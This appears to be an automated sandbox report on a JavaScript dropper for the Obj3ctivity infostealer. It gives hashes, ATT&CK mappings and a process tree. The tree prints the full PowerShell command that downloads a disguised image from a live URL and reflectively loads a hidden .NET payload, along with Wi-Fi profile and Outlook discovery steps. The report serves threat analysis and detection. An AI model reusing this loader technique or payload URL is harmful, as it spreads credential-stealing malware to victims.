obj3ctivity | 0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec

General

Target

0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js
Size

175KB
MD5

bfacd543f1c8ed0bbbb56d4ee2163b27
SHA1

f752d970c3e8c41c9c1bc42443c378d3353c3511
SHA256

0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec
SHA512

c23f6307a4754d9138d839af693d2ff02c5c49fa6cb38d7deaaf636b79d2986beb059c805a6ffae7ccc948fcf5225368c4773cbb02ea63aa347c9842418dbfa8
SSDEEP

3072:IzkhJXA9AyzShrbV8QauBNA96q0rvY4FDKj:IIPrbV8JKkj

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/3692-21-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	4936	wscript.exe
3	4936	wscript.exe
4	4936	wscript.exe
6	3040	powershell.exe
7	3040	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
5	icanhazip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3040 set thread context of 3692	3040	powershell.exe	80

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2264	netsh.exe
2380	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	MSBuild.exe

Modifies registry class 4 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3040	powershell.exe
3040	powershell.exe
3692	MSBuild.exe
3692	MSBuild.exe
3692	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	3692	MSBuild.exe
Token: SeSecurityPrivilege	1520	msiexec.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 3040	4936	wscript.exe	78
PID 4936 wrote to memory of 3040	4936	wscript.exe	78
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3040 wrote to memory of 3692	3040	powershell.exe	80
PID 3692 wrote to memory of 2380	3692	MSBuild.exe	82
PID 3692 wrote to memory of 2380	3692	MSBuild.exe	82
PID 3692 wrote to memory of 2380	3692	MSBuild.exe	82
PID 2380 wrote to memory of 4740	2380	cmd.exe	85
PID 2380 wrote to memory of 4740	2380	cmd.exe	85
PID 2380 wrote to memory of 4740	2380	cmd.exe	85
PID 2380 wrote to memory of 2264	2380	cmd.exe	86
PID 2380 wrote to memory of 2264	2380	cmd.exe	86
PID 2380 wrote to memory of 2264	2380	cmd.exe	86
PID 2380 wrote to memory of 1316	2380	cmd.exe	87
PID 2380 wrote to memory of 1316	2380	cmd.exe	87
PID 2380 wrote to memory of 1316	2380	cmd.exe	87

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:3692
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4740
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2264
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1316

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\b825b86f-db23-4afd-b41c-1e547164b228.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_joioxeom.gmr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3040-15-0x0000022F6AB30000-0x0000022F6AB52000-memory.dmp

Filesize
136KB

Download
memory/3040-16-0x00007FFFCB090000-0x00007FFFCBB52000-memory.dmp

Filesize
10.8MB

Download
memory/3040-17-0x00007FFFCB090000-0x00007FFFCBB52000-memory.dmp

Filesize
10.8MB

Download
memory/3040-18-0x00007FFFCB090000-0x00007FFFCBB52000-memory.dmp

Filesize
10.8MB

Download
memory/3040-19-0x0000022F6AB60000-0x0000022F6AB74000-memory.dmp

Filesize
80KB

Download
memory/3040-20-0x0000022F6ABC0000-0x0000022F6ABC6000-memory.dmp

Filesize
24KB

Download
memory/3040-6-0x00007FFFCB093000-0x00007FFFCB095000-memory.dmp

Filesize
8KB

Download
memory/3040-24-0x00007FFFCB090000-0x00007FFFCBB52000-memory.dmp

Filesize
10.8MB

Download
memory/3692-21-0x0000000000400000-0x00000000004E6000-memory.dmp

Filesize
920KB

Download
memory/3692-26-0x00000000062D0000-0x00000000062E2000-memory.dmp

Filesize
72KB

Download
memory/3692-27-0x0000000006380000-0x0000000006542000-memory.dmp

Filesize
1.8MB

Download
memory/3692-48-0x0000000006D20000-0x00000000072C6000-memory.dmp

Filesize
5.6MB

Download
memory/3692-49-0x0000000006BC0000-0x0000000006C52000-memory.dmp

Filesize
584KB

Download
memory/3692-59-0x00000000061D0000-0x0000000006246000-memory.dmp

Filesize
472KB

Download
memory/3692-81-0x0000000007800000-0x0000000007D2C000-memory.dmp

Filesize
5.2MB

Download
memory/3692-25-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads